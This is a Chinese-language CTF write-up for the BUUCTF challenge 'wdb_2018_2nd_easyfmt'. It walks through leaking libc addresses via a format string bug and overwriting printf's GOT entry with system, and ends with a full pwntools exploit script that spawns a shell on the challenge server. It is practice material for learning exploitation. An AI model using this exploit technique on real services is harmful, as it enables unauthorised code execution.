0%

wdb_2018_2nd_easyfmt详解

wdb_2018_2nd_easyfmt详解

自己做出来了,,,,还看其他人的

参考:wdb_2018_2nd_easyfmt)

程序流程

程序流程非常简单,可以一直进行格式化字符串漏洞。

image-20210425225434398

漏洞利用

  1. 首先通过格式化字符串泄露栈信息
  2. 通过格式化字符串修改printf_got表为system(one_gadget本地打通了,远程没有,,)
  3. 发送“/bin/sh\x00”,

详细过程

0.查看基本信息

32位程序,只开了nx

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/buu$ file wdb_2018_2nd_easyfmt 
wdb_2018_2nd_easyfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f86851c3576d0aabf0b0b2310d835d0f6e660eb8, not stripped
winter@ubuntu:~/buu$ checksec wdb_2018_2nd_easyfmt
[*] '/home/winter/buu/wdb_2018_2nd_easyfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

格式化字符串,偏移为6

image-20210425233348293

1.泄露信息

方法一:栈上数据

可以直接查看栈上的信息进行泄露

1
2
3
4
5
6
7
8
pwndbg> stack 30
00:0000│ esp 0xffffcfbc —▸ 0x80485cf (main+132) ◂— add esp, 0x10
01:0004│ 0xffffcfc0 —▸ 0xffffcfd8 ◂— 'aaaa\n'
... ↓
03:000c│ 0xffffcfc8 ◂— 0x64 /* 'd' */
04:0010│ 0xffffcfcc —▸ 0xf7e9379b (handle_intel+107) ◂— add esp, 0x10 #libc中的数据,计算偏移即可得到libc基址
05:0014│ 0xffffcfd0 —▸ 0xffffcffe —▸ 0xffff0000 ◂— 0x0
06:0018│ 0xffffcfd4 —▸ 0xffffd0fc —▸ 0xffffd2e9 ◂— 'XDG_VTNR=7'
1
2
3
4
5
6
7
8
9
p.recvuntil("Do you know repeater?")
payload = "%3$p"
p.sendline(payload)
handle_intel_107 = p.recvuntil("f7")[-2:]
handle_intel_107 += p.recv(8)
handle_intel_107 = int(handle_intel_107,16)
log.success(hex(handle_intel_107))

#[+] 0xf7e658fb

通过脚本输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt
0x8049000 0x804a000 r--p 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt
0x804a000 0x804b000 rw-p 1000 1000 /home/winter/buu/wdb_2018_2nd_easyfmt
0xf7dd5000 0xf7dd6000 rw-p 1000 0
0xf7dd6000 0xf7f83000 r-xp 1ad000 0 /home/winter/buu/libc-2.23-32.so
0xf7f83000 0xf7f84000 ---p 1000 1ad000 /home/winter/buu/libc-2.23-32.so
0xf7f84000 0xf7f86000 r--p 2000 1ad000 /home/winter/buu/libc-2.23-32.so
0xf7f86000 0xf7f87000 rw-p 1000 1af000 /home/winter/buu/libc-2.23-32.so
0xf7f87000 0xf7f8b000 rw-p 4000 0
0xf7f8b000 0xf7f8e000 r--p 3000 0 [vvar]
0xf7f8e000 0xf7f90000 r-xp 2000 0 [vdso]
0xf7f90000 0xf7fb3000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7fb3000 0xf7fb4000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7fb4000 0xf7fb5000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xff999000 0xff9ba000 rw-p 21000 0 [stack]

计算偏移为:0xf7e658fb - 0xf7dd6000 = 0x8F8FB

故可以得到libc_base

1
2
libc_base = handle_intel_107 - 0x8f8fb - 0x20	#0x20是因为远程的时候,发现好像有0x20的偏移,一般libc_base是000结尾,但是原来是020结尾,故猜测还要再减去0x20
log.success(hex(libc_base))
方法二:直接泄露got表信息(方便)
1
2
3
4
5
6
p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']

因为偏移是6,所以直接输入printf_got,输出该地址内容时候,就泄露了printf的地址。

2.格式化字符串写printf_got

利用pwntool的工具来做

1
2
3
4
5
system = libc_base + libc.sym['system']
printf_got = elf.got['printf']

payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
1
2
pwndbg> x/30wx 0x804a014
0x804a014: 0xf7e3a940 0xf7e5f140 0xf7e18540 0xf7e60da0
1
2
pwndbg> x/30wx 0xf7e3a940
0xf7e3a940 <system>: 0x8b0cec83 0xe8102444 0x000e2941 0x56b4c281

3.发送”/bin/sh\x00”字符串

1
p.sendline("/bin/sh\x00")

执行printf(&buf); => system(“/bin/sh\x00”)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

# p = process("./wdb_2018_2nd_easyfmt")
p=process(['./wdb_2018_2nd_easyfmt'],env={"LD_PRELOAD":"/home/winter/buu/libc-2.23-32.so"})
p=remote("node3.buuoj.cn",25745)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./wdb_2018_2nd_easyfmt")
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

libc = ELF("/home/winter/buu/libc-2.23-32.so")

# p.recvuntil("Do you know repeater?")
# payload = "%3$p"
# p.sendline(payload)
# handle_intel_107 = p.recvuntil("f7")[-2:]
# handle_intel_107 += p.recv(8)
# handle_intel_107 = int(handle_intel_107,16)
# log.success(hex(handle_intel_107))

# libc_base = handle_intel_107 - 0x8f8fb - 0x20 #direct sub
# log.success(hex(libc_base))
p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']

system = libc_base + libc.sym['system']
printf_got = elf.got['printf']
offset = 6
log.success(hex(printf_got))
payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()
Q:如果阅读本文需要付费,你是否愿意为此支付1元?